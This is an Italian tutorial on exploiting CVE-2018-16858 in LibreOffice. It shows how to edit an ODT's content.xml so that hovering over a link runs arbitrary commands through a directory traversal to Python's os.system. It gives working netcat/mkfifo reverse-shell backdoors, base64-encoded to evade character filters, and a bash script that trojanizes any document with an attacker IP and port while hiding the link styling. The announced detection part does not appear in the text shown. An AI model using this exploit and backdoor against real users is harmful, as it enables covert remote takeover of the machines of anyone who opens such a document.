
Implementazione dell'exploit CVE-2018-16858
In questo post vedremo come sfruttare un semplice difetto di un programma per aprire una backdoor nel sistema che utilizza tale programma.
Il difetto in questione è definito in CVE-2018-16858, appartenente alla suite per ufficio LibreOffice. Questo difetto riesce, in un file appositamente formato, a eseguire un directory traversal, consentendo l'esecuzione di codice Python. Tale esecuzione viene collegata o scatta all'azione dell'utente sul documento, e viene eseguita senza che l'utente riceva alcun avviso per l'esecuzione di macro.
Il presente documento è diviso in cinque parti. Nella prima spiegheremo il difetto stesso, come decomprimere un OpenDocument, come modificarne la struttura per eseguire lo script locale desiderato e come ricomporre nuovamente il documento per la sua esecuzione e test.
Nella seconda parte vedremo come utilizzare l'esecuzione locale per lanciare qualsiasi comando nel sistema in cui viene aperto il documento, e genereremo una backdoor che consenta l'esecuzione di comandi remoti.
Nella terza parte automatizzeremo il processo per generare documenti che creino backdoor con comunicazione diretta o inversa, determinando l'indirizzo IP e la porta a cui connettersi.
La quarta parte tratterà l'integrazione del difetto nel sistema Metasploit in modo che tramite msfconsole si possano generare documenti compatibili con la forma di sfruttamento di Metasploit. In questo modo si potranno scegliere come codice da eseguire qualsiasi payload definito nella suite di Metasploit.
La quinta e ultima parte mostrerà come integrare in un sistema antivirus il processo di rilevamento che consenta di identificare i file di tipo LibreOffice infetti tramite la procedura precedente. Utilizzeremo il formato di rilevamento dell'antivirus ClamAV, consentendo di comprendere meglio il processo di rilevamento degli antivirus e quindi facilitare la nostra protezione da minacce di questo tipo.
L'intero processo sarà eseguito per sistemi Linux basati su Debian, ma quanto qui spiegato può essere estrapolato ad altri sistemi, poiché viene descritto in dettaglio. Sia il difetto che i proof of concept del CVE originale sono stati realizzati per la versione di LibreOffice per Windows, quindi è sempre possibile fare riferimento a tale fonte per utilizzare quanto descritto in questo documento in modo analogo per le versioni Windows.
LibreOffice (e, per questioni genetiche, Apache OpenOffice) ha un difetto nelle versioni precedenti all'ultima (6.1.5) che consente l'esecuzione di codice Python situato in qualsiasi parte del computer senza che l'utente venga avvisato dell'esecuzione di una macro.
Per vedere il difetto in questione possiamo generare un nuovo documento nell'editor di testo in cui scriveremo qualcosa, lo selezioneremo e creeremo un collegamento ipertestuale. Per creare un collegamento ipertestuale nel testo bisogna selezionare il menu Insert e al suo interno l'opzione Hyperlink (si può ottenere anche selezionando il testo e poi usando la combinazione di tasti Ctrl+K).
Apparirà la seguente finestra di dialogo:

Per definire un collegamento ipertestuale dobbiamo inserire un URL e fare clic su Apply. Oltre all'opzione URL nella parte inferiore della finestra di dialogo, dove si legge Further Settings, avremo un pulsante con l'icona di Play che ci permetterà inoltre di associare eventi a determinate azioni. È qui che definiamo che desideriamo eseguire codice Python come azione.
Premendo tale pulsante si aprirà una nuova finestra di dialogo:

In essa possiamo selezionare tra tre eventi di base e lo script che si desidera utilizzare. Come evento selezioneremo Mouse Over Object e come script all'interno degli script della famiglia LibreOffice Macros selezioneremo Python Samples. All'interno di tale opzione esiste solo uno script predefinito chiamato TableSample, che selezioneremo.
Una volta fatto ciò, se passiamo il mouse sopra il testo che abbiamo convertito in collegamento ipertestuale, vedremo che si apre una finestra con un documento in cui c'è una tabella. Ciò significa che abbiamo associato l'evento del passaggio del mouse sopra il collegamento ipertestuale allo script Python. L'obiettivo è sostituire questa azione con un'altra che vogliamo noi.
Per fare ciò salveremo il documento che abbiamo creato e usciremo da LibreOffice per eseguire nella console una serie di comandi.
Il formato documento ODT non è altro che un zip con una serie di file al suo interno (il formato DOCX di Microsoft Office è molto simile). Pertanto, la prima cosa che faremo è decomprimere il file con un decompressore di file zip.
Nel nostro caso utilizzeremo lo strumento da riga di comando chiamato unzip, quindi eseguiremo semplicemente la seguente istruzione:
user@host:~/Documents/prueba$ unzip ~/Documents/blog/exploitlibreoffice/doc/CV.odt
Con questo vedremo i file che realmente contiene un file di tipo OpenDocument. I più rilevanti per noi sono il file mimetypes, il file content.xml e il file styles.xml.
Il file mimetype deve essere il primo ad apparire nell'elenco dei file del zip, quindi quando ri-pacchettizzeremo i file dovremo forzare con il nostro pacchettizzatore che sia così, altrimenti il file non verrà interpretato come un OpenDocument.
Il file content.xml contiene il testo del documento che abbiamo scritto, in cui abbiamo testo mescolato con determinate etichette che dicono in quale formato deve essere visualizzato il testo.
Ad esempio, nella riga seguente:
<text:p text:style-name="_5f_ECV_5f_SectionDetails">Indicar lista de documentos adjuntos a su CV. Ejemplos:</text:p>
Si può osservare un esempio di un paragrafo di testo scritto con uno stile specifico definito dall'attributo text:style-name. Il paragrafo di testo si trova tra il tag di apertura text:p e il tag di chiusura </text:p>.
Lo script associato al collegamento ipertestuale che abbiamo creato può essere visto anche in modo abbastanza semplice. Se cerchiamo tra il testo di content.xml la parola python o il nome dello script python che abbiamo caricato, nel nostro caso TableSample.py, è facile individuare la riga in cui dobbiamo variare il contenuto:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|TableSample.py$createTable?language=Python&location=share" xlink:type="simple"/>
In questa riga si trova il percorso dello script python che verrà caricato quando mettiamo il mouse sopra il collegamento ipertestuale chiamato TableSample.py e la funzione che verrà eseguita del codice python, in questo caso createTable.
Il problema intrinseco di LibreOffice è che quando legge i documenti non pulisce correttamente il valore del codice python da caricare. Il programma non pulisce i caratteri ../ dal percorso del file, quindi si può accedere a qualsiasi file del sistema in cui viene aperto il documento di testo. Inoltre, se quel file a cui si accede è un file con codice python, possiamo eseguire qualsiasi funzione definita in quel file.
Come primo proof of concept faremo sì che passando sopra il collegamento ipertestuale si esegua la calcolatrice, nel nostro caso il programma galculator apre la calcolatrice. Dovremo generare un programma python che permetta di eseguire un comando all'interno di una funzione, nello stile in cui l'esecuzione attesa da LibreOffice. Per fare ciò genereremo il seguente codice nel percorso /tmp/prueba.py:
import os;
def ejecuta():
os.system("galculator");
Con questo piccolo codice raggiungeremo il nostro scopo, ora manca solo che aggiungiamo sia il file python /tmp/prueba.py che il nome della funzione ejecuta all'interno della chiamata fatta nel file odt. Quindi la riga che faceva la chiamata al python diventerebbe così:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../tmp/prueba.py$ejecuta?language=Python&location=share" xlink:type="simple"/>
Come si può vedere, è stato aggiunto un gran numero di ../ per assicurarci di scalare fino alla radice del nostro filesystem. E da lì abbiamo aggiunto il percorso specifico al nostro file python (prueba.py). Dopo il $ è stata aggiunta la parola ejecuta che è la funzione che carica la calcolatrice.
Una volta fatto ciò, pacchettizzeremo di nuovo il nostro file odt ricordandoci di mettere come primo file il mimetype. Se utilizziamo l'utility zip eseguiamo semplicemente il seguente comando nella directory dove abbiamo decompresso il nostro odt e che contiene il content.xml malizioso:
user@host:~/Documents/prueba$ zip -r exploit.odt mimetype .
Una volta fatto ciò apriremo il file con LibreOffice e osserveremo che viene eseguito il programma della calcolatrice quando passiamo il mouse sopra il collegamento ipertestuale.
Questo primo passo necessita di un codice python generato con una funzione che possiamo eseguire senza parametri. È semplice da implementare ma può essere difficile da utilizzare in un ambiente credibile o riproducibile per un pentesting reale.
Dalla versione 6.1 di LibreOffice è disponibile la possibilità che nelle chiamate a funzioni python si possano passare parametri a tali funzioni. Ciò consente maggiore libertà di scripting a coloro che desiderano utilizzare l'uso lecito delle macro di tale programma, ma inoltre ci offre un'opportunità d'oro a coloro che cercano gli angoli del software.
Come dicevamo prima e di fatto abbiamo utilizzato, per effettuare una chiamata al sistema per eseguire qualsiasi comando si usa una chiamata alla classe os e alla funzione system. È quella che abbiamo usato per chiamare la calcolatrice passando come parametro la stringa galculator. La cosa buona delle classi python è che possiamo sapere in quale percorso si trovano, e in realtà ciò che si può fare per sfruttare la possibilità di passare parametri alle funzioni è cercare la posizione di tale classe. Prima abbiamo eseguito una funzione di un programma python che si trovava in /tmp/ e che abbiamo chiamato prueba.py. Bene, ora quello che faremo sarà chiamare direttamente la funzione system che si trova nel programma python os.py che è una delle librerie di sistema. Ad esempio nei sistemi Linux attuali lo troviamo solitamente nel percorso /usr/lib/python3.5/os.py, quindi cambieremo il percorso precedente al codice /tmp/prueba.py con questo nuovo percorso. Ora la funzione ejecuta la cambieremo con la funzione system e di fatto, poiché possiamo passare parametri a tale funzione, possiamo già eseguire il programma galculator, o qualsiasi altro desideriamo, in modo diretto, senza bisogno di generare sul computer dove verrà visto il documento LibreOffice un file python da eseguire.
Dove prima avevamo questa stringa nel file content.xml:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../tmp/prueba.py$ejecuta?language=Python&location=share" xlink:type="simple"/>
Ora avremo semplicemente la seguente:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(galculator)?language=Python&location=share" xlink:type="simple"/>
Il modo di pacchettizzare il file come documento di LibreOffice sarà esattamente lo stesso. Il risultato ora sarà che semplicemente aprendo il documento odt senza bisogno di mettere un programma python in un percorso specifico. Certo, avremo bisogno che la versione in cui viene aperto il documento sia almeno la versione 6.1 di LibreOffice.
Appena aperto il file e messo il mouse sopra il link del documento si aprirà l'applicazione della calcolatrice come nell'esempio precedente.
I comandi che vengono eseguiti quando si apre il documento vengono eseguiti sulla macchina locale, quindi un utilizzo che si può dare a tale esecuzione è l'apertura di una backdoor che ci permetta l'esecuzione di comandi in modo remoto da altri luoghi.
Per creare una backdoor molto semplice utilizzeremo il comando nc e realizzeremo un fifo in modo che con la stessa porta possiamo inviare comandi al computer e ottenere il risultato di tale esecuzione. Nel primo approccio al difetto che abbiamo utilizzato per l'esecuzione del comando abbiamo dovuto creare un programma in python. L'idea è che non dobbiamo caricare alcun codice aggiuntivo sul computer che si desidera sfruttare, quindi verranno utilizzati comandi di sistema per la generazione della backdoor.
Il comando nc è un comando di sistema che consente di aprire una porta sul sistema locale o di connettersi a una porta di un sistema remoto in modo che ciò che ricevi tramite tale connessione esca sull'output standard e ciò che viene inserito tramite l'output standard esca attraverso la connessione verso l'altro computer. Possiamo utilizzare pipe | affinché l'output a schermo di un comando in esecuzione venga inserito in un altro comando, quindi se concateniamo il comando nc con il comando /bin/bash ci permetterà una soluzione semplice per l'esecuzione di comandi remoti. Se eseguiamo nc ip porta | /bin/bash ciò che arriva tramite la connessione effettuata dal comando nc verrà passato al comando /bin/bash che esegue una shell, quindi verranno eseguiti tutti i comandi che ci vengono inviati dal computer con cui abbiamo effettuato la connessione. Ma l'output standard di tali comandi non viene restituito al comando nc, quindi non si vedrebbe l'output di questi. Si potrebbe reindirizzare l'output standard del comando /bin/bash verso un nuovo comando nc che utilizzi un'altra porta, ma allora avremmo bisogno di due porte per poter effettuare l'invio dei comandi e la ricezione dell'output dei comandi, risultando alquanto rozzo.
Una soluzione semplice è utilizzare fifo, il comando mkfifo genera un file che consente di scrivere e consumare contemporaneamente. Quindi genereremo un file fifo che useremo come input del comando nc affinché tutto ciò che viene scritto in tale file venga inviato tramite la connessione e verrà usato come output per il comando /bin/bash in modo che l'output di tutto ciò che viene eseguito tramite tale comando venga scritto nel file fifo.
La sequenza di comandi per avere una backdoor che funga da server in qualsiasi terminale linux sarebbe la seguente:
user@host:~/$ mkfifo /tmp/lalala;
user@host:~/$ nc -l -p porta < /tmp/lalala | /bin/bash > /tmp/lalala;
Per connetterci a quel computer da qualsiasi altro computer si dovrebbe eseguire quanto segue:
user@host:~/$ nc ip porta
Dove ip è l'indirizzo IP del computer con la backdoor e porta lo stesso valore che abbiamo indicato al momento di eseguire nc sul computer dove abbiamo eseguito la backdoor.
Se a causa di problemi di firewall nella rete del computer di destinazione non possiamo utilizzare il computer come server possiamo farlo in modo inverso, in modo che sia il computer con la backdoor a connettersi a un server in nostro possesso. Per fare ciò eseguiremo prima sul nostro computer il seguente comando:
user@host:~/$ nc -l -p porta
E sul computer della backdoor la seguente sequenza di comandi molto simile alla precedente:
user@host:~/$ mkfifo /tmp/lalala;
user@host:~/$ nc ip porta < /tmp/lalala | /bin/bash > /tmp/lalala;
L'indirizzo IP che deve apparire in quest'ultimo comando è quello del nostro computer. È ovvio che il computer remoto deve essere in grado di raggiungere tale indirizzo IP per poter effettuare la connessione da cui invieremo i comandi da eseguire sul sistema remoto.
Pertanto, sul computer della backdoor e per mettere il comando in un'unica riga si può eseguire o questa riga:
user@host:~/$ mkfifo /tmp/lalala;nc -l -p porta < /tmp/lalala | /bin/bash > /tmp/lalala;
oppure questa riga:
user@host:~/$ mkfifo /tmp/lalala;nc ip porta < /tmp/lalala | /bin/bash > /tmp/lalala;
Una volta compreso questo, se riusciamo tramite il file LibreOffice a eseguire una qualsiasi delle backdoor, potremo avere il controllo remoto del computer che ha aperto il documento.
Ovviamente se cambiamo il file python che abbiamo inserito in tmp e invece di eseguire la calcolatrice eseguiamo la backdoor avremo l'esecuzione automatica.
import os;
def ejecuta():
os.system("mkfifo /tmp/lalala;nc ip porta < /tmp/lalala | /bin/bash > /tmp/lalala;");
Seguendo questa linea di generazione delle backdoor, ora si potrebbe implementare nel documento office. Il modo di farlo è relativamente semplice, poiché semplicemente dovremo cambiare il comando della calcolatrice di linux con il comando che mi consente di aprire la backdoor.
La backdoor che verrà eseguita al posto del comando della calcolatrice sarà la seguente:
mkfifo /tmp/lalala; nc IP PORTA < /tmp/lalala | /bin/bash > /tmp/lalala;
È una backdoor di connessione inversa, quindi per il suo funzionamento e per ottenere una shell dovremo aprire un socket sull'host con indirizzo IP IP e sulla porta PORTA. Dovremo cambiare tali valori con l'IP e la porta aperti sul nostro host.
Esiste un problema con questo comando: LibreOffice non consente l'utilizzo di alcuni caratteri speciali come < o |, quindi dovremo aggirare in qualche modo l'uso di tali caratteri per l'uso del nostro exploit.
Probabilmente l'opzione semplice è usare base64. Base64 è installato di default in quasi tutti i computer Linux ed è un programma che ci consente sia di codificare che di decodificare tramite tale algoritmo. Quindi possiamo codificare ciò che vogliamo eseguire in base64, reindirizzarlo in un file che successivamente verrà decodificato ed eseguito.
Si utilizzerà un modo di realizzazione della backdoor che può essere alquanto rozzo, ma è abbastanza trasparente e comprensibile. Poi con la stessa idea si può complicare quanto si desidera per rendere tutto più compatto. Poiché questa guida è realizzata a scopo educativo, manterremo formule di esecuzione più rozze ma con comandi ed esecuzioni molto semplici.
Se eseguiamo in un terminale quanto segue potremo ottenere la versione del payload in base64:
echo "mkfifo /tmp/lalala; nc IP PORTA < /tmp/lalala | /bin/bash > /tmp/lalala;" | base64
Il risultato sarà qualcosa di simile a:
bWtmaWZvIC90bXAvbGFsYWxhOyBuYyBJUCBQVUVSVE8gPCAvdG1wL2xhbGFsYSB8IC9iaW4vYmFzaCA+IC90bXAvbGFsYWxhOwo=
Ora non abbiamo più nessuno dei caratteri che possono dare problemi nell'esecuzione tramite l'exploit. Ma introducendo questo nel comando system non eseguiremo nulla, ma di fatto possiamo reindirizzare con un echo quel contenuto verso un file. Con questo avremo un file che quando decodificato può essere eseguito, quindi genereremo un file che poi decodificheremo con il comando base64 ma con il parametro che consente di decodificare per reindirizzarlo in un altro file. Che ora, sì, sarà quello che eseguiremo. Frammenteremo prima ogni comando spiegando cosa facciamo per poi usarli tutti all'interno della chiamata a system dell'exploit:
Primo, generiamo un file base64 sulla macchina che apre il documento LibreOffice nella sua directory /tmp/ chiamato lalala.base64:
echo "bWtmaWZvIC90bXAvbGFsYWxhOyBuYyBJUCBQVUVSVE8gPCAvdG1wL2xhbGFsYSB8IC9iaW4vYmFzaCA+IC90bXAvbGFsYWxhOwo=" > /tmp/lalala.base64Poiché quel file codificato non ci serve a nulla, lo decodificheremo reindirizzando l'output verso un file che poi vogliamo eseguire nella stessa directory ma chiamato **lalala.sh**.
base64 -d /tmp/lalala.base64 > /tmp/lalala.sh
Detto file non ha permessi di esecuzione, quindi dovremo concedergli tali privilegi.
chmod 777 /tmp/lalala.sh
Poi dovremo eseguire il file bash che abbiamo generato.
/tmp/lalala.sh
Per infine cancellare tutti i file intermedi che sono stati generati nel computer.
rm /tmp/lalala.sh
rm /tmp/lalala.base64
All'interno della chiamata alla funzione system del nostro exploit ci sarà la sequenza di tutti questi comandi separati da ; , in modo che si esegua un comando dopo l'altro, ottenendo il seguente comando o payload che dovrà essere inserito nella chiamata a system del nostro contents.xml al posto della calcolatrice. Infine, dove avevamo il seguente contenuto che permetteva l'esecuzione della calcolatrice:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(galculator)?language=Python&location=share" xlink:type="simple"/>
Inseriremo il seguente contenuto:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(echo bWtmaWZvIC90bXAvbGFsYWxhOyBuYyBJUCBQVUVSVE8gPCAvdG1wL2xhbGFsYSB8IC9iaW4vYmFzaCA+IC90bXAvbGFsYWxhOwo= > /tmp/lalala.base64; base64 /tmp/lalala.base64 -d > /tmp/lalala.sh; chmod 777 /tmp/lalala.sh; /tmp/lalala.sh; rm /tmp/lalala.sh; rm /tmp/lalala.base64;)?language=Python&location=share" xlink:type="simple"/>
Rimpacchettando di nuovo il documento LibreOffice abbiamo ora un documento che, al passaggio del mouse, eseguirà la nostra backdoor.
Prima che il documento venga aperto e come detto in precedenza, dovremo avere precedentemente una porta in ascolto, e non appena la backdoor si connetterà al nostro host potremo eseguire i comandi nel sistema remoto dove è stato aperto il documento LibreOffice.
Come passo successivo, e come passo preliminare alla generazione di un modulo di metasploit, si deve essere in grado di automatizzare e generalizzare il processo. Questo aiuta a verificare se si hanno chiare le modifiche da apportare per poter modularizzare e descrivere in modo concreto i problemi da risolvere per creare un programma generico che permetta di infettare i documenti LibreOffice con il payload scelto. In questa sezione realizzeremo un piccolo script che permetta di infettare file di LibreOffice con una backdoor.
Lo script richiederà tre parametri: il documento office, l'indirizzo IP a cui il computer deve connettersi una volta aperto il documento Office, oltre alla porta a cui connettersi. Dopo aver eseguito lo script, dovremmo ottenere un documento LibreOffice con la backdoor inserita al suo interno. Poiché dobbiamo decomprimere il file zip, richiederemo che la directory in cui viene eseguito il nostro script sia pulita, quindi dovremo verificarlo al suo interno.
Con l'idea che il linguaggio non sia un problema, si utilizzerà bash script che permetterà di realizzare uno script, forse un po' sporco, ma che permetterà chiamate a programmi GNU che eseguiranno il lavoro più pesante. Dopo tutto quel lavoro automatizzato dai programmi GNU, dovremo programmarlo a mano oppure utilizzare librerie che aiutino nel processo quando verrà generato il modulo di metasploit.
Lo script inizierà richiedendo che il file che si desidera trojanizzare esista e, in caso contrario, diremo all'utente che il file non esiste:
if [ -e $1 ]; then
#qui andrà il codice del programma.
else
echo "The odt file does not exists!!";
fi;
L'if esegue l'azione al suo interno quando si verifica la condizione tra le parentesi quadre. In bash la condizione -e restituisce vero se esiste un file con il nome indicato successivamente. Invece di un nome fisso è stato messo $1 che in bash corrisponde al primo parametro inserito dall'utente nella riga di esecuzione dello script. Nel nostro caso, il primo parametro specifica il file .odt che si desidera trojanizzare.
È stata posta la condizione che nella directory in cui si esegue il comando sia vuota, questo semplicemente per semplificarci il lavoro, quindi dovremo verificarlo prima di proseguire con la prima sezione del programma. Questa volta faremo in modo che lo script esegua il comando ls -a e controlleremo che nella directory di esecuzione esistano solo due file: quelli corrispondenti alla directory . e alla directory .. . Questo lo otterremo tramite la seguente sezione di codice:
I=0;
for fichero in `ls -a`; do
I=$(($I+1));
done;
if [ $I -gt 2 ]; then
echo "At least one file exists on the directory. Exiting.";
else
fi;
In questa sezione di codice si sta inizializzando la variabile I con il valore 0. Poi tramite un ciclo for si scorrono ciascuno degli elementi che compongono l'output del comando ls -a e ad ogni iterazione del ciclo la variabile fichero cambierà valore con il nome di ogni elemento, in questo caso con il nome di ogni file della directory di lavoro. In bash mettere un comando tra gli apici inversi ` permette di eseguire il comando e di utilizzare il suo output a schermo per restituirlo in una variabile, o per utilizzarlo in cicli come nel nostro caso. All'interno del ciclo si sta semplicemente aumentando il valore della variabile I di 1. In bash script le variabili che stanno a destra del segno di uguale, di cui si desidera ottenere un valore, devono essere sempre precedute dal simbolo del dollaro $. Poiché si desidera inoltre eseguire un'operazione matematica, si dovrà racchiudere l'operazione da eseguire $I+1 tra $(( e )) , che indica all'interprete bash che siamo in modalità matematica e deve eseguire operazioni con ciò che c'è all'interno.
Dopo il ciclo, la variabile I dovrebbe valere 2 se siamo in una directory vuota, o più di 2 se siamo in una directory con qualche file. Quindi tramite una condizione verificheremo se la variabile vale più di 2 con l'intenzione di fermare il programma e avvisare l'utente. Useremo di nuovo un if ma questa volta useremo il confronto maggiore di, che in bash si scrive -gt dalle sigle inglesi "greater than". Come si vede nel pezzo di codice, se abbiamo un valore maggiore di 2 si notifica all'utente l'errore, altrimenti si proseguirà con l'esecuzione delle altre istruzioni.
Come ultima verifica si controllerà che l'utente abbia inserito 3 parametri. Questo si farà semplicemente controllando se la variabile $3 è vuota. Tale variabile specifica che è stato inserito l'argomento numero 3, quindi se è vuota significa che l'istruzione eseguita dall'utente non ha 3 argomenti di input. Si confronta semplicemente con il carattere vuoto e in caso sia vuota si indica all'utente che ha commesso un errore eseguendo lo script. Il codice di questo è di nuovo abbastanza semplice:
if [ "" == "$3" ]; then
echo "I need an IP and a port to connect to.";
else
#proseguiamo con il programma.
fi;
Dopo tali controlli si inizierà con l'esecuzione di comandi che permetteranno di realizzare la trojanizzazione del documento. Si inizia con l'esecuzione del comando unzip per decomprimere il file LibreOffice. In caso di successo si proseguirà il processo, altrimenti si fermerà.
unzip $1;
if [ $? != 0 ]; then
echo "some error has occurr!!!Exiting!!";
exit;
fi;
La prima riga di questa sezione sta semplicemente decomprimendo il file indicato dall'utente. Nel condizionale si sta controllando se l'esecuzione del comando unzip è avvenuta con successo tramite il codice di uscita del programma. Tale codice di uscita viene restituito da tutti i programmi eseguibili tramite console e per standard, qualsiasi valore diverso da 0 indica che il programma è fallito. Il modo per ottenere tale codice di errore è attraverso la variabile $? che contiene il codice di uscita dell'ultimo comando eseguito.
Nel condizionale controlliamo semplicemente che sia 0 e in caso contrario notifichiamo l'utente con un messaggio. Dopo tale notifica eseguiamo un exit che permette di fermare l'esecuzione dello script in quel punto esatto per evitare che lo script continui con le righe successive.
Ricordiamo che una volta decompresso il file, si devono cambiare due cose nel contenuto del zip: il file content.xml dove viene introdotto il trojan vero e proprio e il file styles.xml dove si cambia il formato dei collegamenti ipertestuali in modo che l'utente che apre il file non sospetti del problema.
Il payload che verrà inserito è quello menzionato nella sezione precedente, dovrà essere in base64, quindi salveremo tale carico utile in una variabile. Inoltre si rinomineranno i file da modificare con l'intenzione di poterli leggere e modificare in nuovi file con il nome originale. In modo che i file con il nome originale siano realmente i file modificati:
PAYLOAD=`echo "mkfifo /tmp/lalala; nc $2 $3 < /tmp/lalala | /bin/bash > /tmp/lalala;" | base64 | awk '{printf $0}'`;
mv content.xml content.xml.NEW;
mv styles.xml styles.xml.NEW;
L'unica modifica rispetto al payload originale commentato nella sezione precedente è che dove venivano indicati l'indirizzo IP e la porta si utilizzano gli argomenti 2 e 3 inseriti dall'utente. Come si vede, si esegue un'operazione simile a quella fatta con il for utilizzato per contare il numero di file della directory, ma questa volta l'output del comando, invece di finire nella variabile del for, lo salviamo in una variabile chiamata PAYLOAD. Come si osserva, si esegue anche la rinomina dei file indicati tramite il comando mv.
Con l'intenzione di cambiare il contenuto di contents.xml, ora chiamato contents.xml.NEW, il comando che si può utilizzare è il comando sed. Sed è un comando base della suite di comandi Unix che permette, tra le altre cose, la sostituzione di certe espressioni regolari con altre. La modifica da fare nel file content.xml.NEW è la ricerca di tutte le voci che hanno la forma:
<text:p text:style-name="Standard">
Che non è altro che il tag utilizzato da LibreOffice per definire il testo. In realtà per definire un testo qualsiasi basta che inizi con <text:p e termini con > per aggiungere subito prima il link che permette l'esecuzione insieme al PAYLOAD realizzato in precedenza. Qualcosa che rimarrà nella forma:
<text:a xlink:type="simple" xlink:href="http://lalala/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(echo PAYLOAD > /tmp/payload.64; base64 /tmp/payload.64 -d > /tmp/payload; chmod 777 /tmp/payload; /tmp/payload;)?language=Python&location=share" xlink:type="simple"/></office:event-listeners>License: <text:a xlink:type="simple" xlink:href="https://creativecommons.org/licenses/by-sa/4.0/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link">
Dove PAYLOAD viene modificato con il codice in base64 calcolato con l'indirizzo IP scelto e la porta scelta. Inoltre, dopo questa inserzione si deve lasciare intatto il tag del paragrafo di testo menzionato in precedenza.
Inoltre, si deve indicare la terminazione del tag che viene aggiunto ulteriormente, quindi in ogni tag di terminazione del testo </text:p> si dovrà cambiare in </text:a></text:p>.
A questo scopo si farà uso del comando sed che permette che tutto ciò che viene inserito dall'input standard venga modificato. Il formato del comando è il seguente:
sed s/"ricerca"/"sostituzione"/g
La s dice a sed che desideriamo eseguire una sostituzione, la prima stringa indicata nell'esempio come ricerca è ciò che il comando modificherà di ciò che gli viene passato dall'input standard. Nel comando di esempio la stringa sostituzione è ciò con cui sed cambierà ciò che si desidera cercare. La lettera g indicata dopo le due parole permette di non effettuare il cambio solo con la prima parola che soddisfa il criterio di ricerca, ma con tutte le parole dell'input che lo soddisfano. In modo che se nel comando così come è scritto si passa a schermo la seguente frase:
la ricerca di sed permette ricerche e cambiarle con qualcosa.
Il comando sed restituirà la seguente frase:
la sostituzione di sed permette sostituzioni e cambiarle con qualcosa.
Inoltre sed permette da un lato le espressioni regolari, quindi i caratteri *, ., ^, [ e ] hanno significati speciali. Inoltre nel secondo parametro di sed, quello che definisce la sostituzione, se si introduce il carattere & permetterà di visualizzare il pattern di ricerca nello schermo. Non è intenzione di questo tutorial entrare in tutti i dettagli di sed, quindi si descriveranno semplicemente i comandi eseguiti e la loro funzione. Si farà uso delle pipe | che permettono che l'output di un comando possa essere l'input del successivo.
cat content.xml.NEW | sed s/"<text:p [^>]*[^\/]>"/"&"'<text:a xlink:type="simple" xlink:href="http:\/\/lalala\/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/usr\/lib\/python3.5\/os.py$system(echo '$PAYLOAD' > \/tmp\/payload.64; base64 \/tmp\/payload.64 -d > \/tmp\/payload; chmod 777 \/tmp\/payload; \/tmp\/payload;)?language=Python\&location=share" xlink:type="simple"\/><\/office:event-listeners>'/g | sed s/"<\/text:p>"/"<\/text:a>&"/g > content.xml;
In questo comando si sta passando il file content.xml.NEW a due esecuzioni consecutive del comando sed. Nel primo sed, si sta introducendo la parte del payload, si cerca la stringa <text:p seguita da un numero indeterminato di qualsiasi carattere che non sia >. Si richiede anche che il carattere precedente a > non sia un fine tag. Tale espressione regolare si esprime nella seguente forma:
<text:p [^>]*[^\/]>
Tale stringa trovata verrà introdotta nell'output del comando sed, poiché stiamo inserendo il carattere & nell'output seguito dal tag del link nel quale assegniamo anche l'azione che quando si passa il mouse sopra si esegua lo script in python desiderato. Per lo più è una copia del tag utilizzato inserendo nel mezzo il PAYLOAD generato tramite la variabile bash chiamata $PAYLOAD.
Ciò che si ottiene da questa modifica viene passato alla modifica determinata con il secondo sed, che cercherà la terminazione del tag di testo </text:p> e nell'output si userà lo stesso tag preceduto dalla terminazione del tag del link in modo che quando si trova il testo </text:p> l'output ottenuto sia </text:a></text:p>.
Con entrambe le modifiche si sarà ottenuto che il file content.xml.NEW si trasformi nel file desiderato, quindi l'output dopo aver eseguito i sed, lo inseriremo nel file di output content.xml.
Una volta fatto ciò, non sarà più necessario il file temporaneo content.xml.NEW, quindi si procederà alla sua eliminazione tramite il comando rm.
rm content.xml.NEW
Si dovrà anche fare una modifica affinché i collegamenti ipertestuali generati nel contenuto non vengano visualizzati come tali all'apertura del file. Quindi si deve eliminare la sottolineatura che hanno per default i collegamenti ipertestuali. Nel file chiamato styles.xml è dove LibreOffice salva gli stili in formato xml e che possono essere modificati con cambiamenti nel testo.
Lo stile predefinito che hanno i collegamenti ipertestuali in LibreOffice si chiama Internet_20_link, quindi la prima cosa da fare è cambiare il nome dello stile predefinito per chiamarlo in un modo che LibreOffice non colleghi il formato definito con tale stile che forza la sottolineatura. Semplicemente a ogni stile così chiamato si aggiungerà un 2 alla fine in modo che tale stile non venga utilizzato nel documento nel caso sia definito. D'altra parte, si definirà un nuovo stile chiamato esattamente così ma nel quale si determinerà che non sia sottolineato. Il formato in xml di tale stile è il seguente:
<style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/></style:style>
Il modo più semplice per definire uno stile e sapere come viene codificato nel formato di LibreOffice probabilmente è creare un nuovo stile, definirlo come desiderato, poi salvarlo e decomprimere il documento per guardarlo nel file styles.xml. In questo caso, come si può vedere leggendo un po' gli attributi del tag, l'unica cosa definita nello stile è che non sia sottolineato e senza alcun colore speciale.
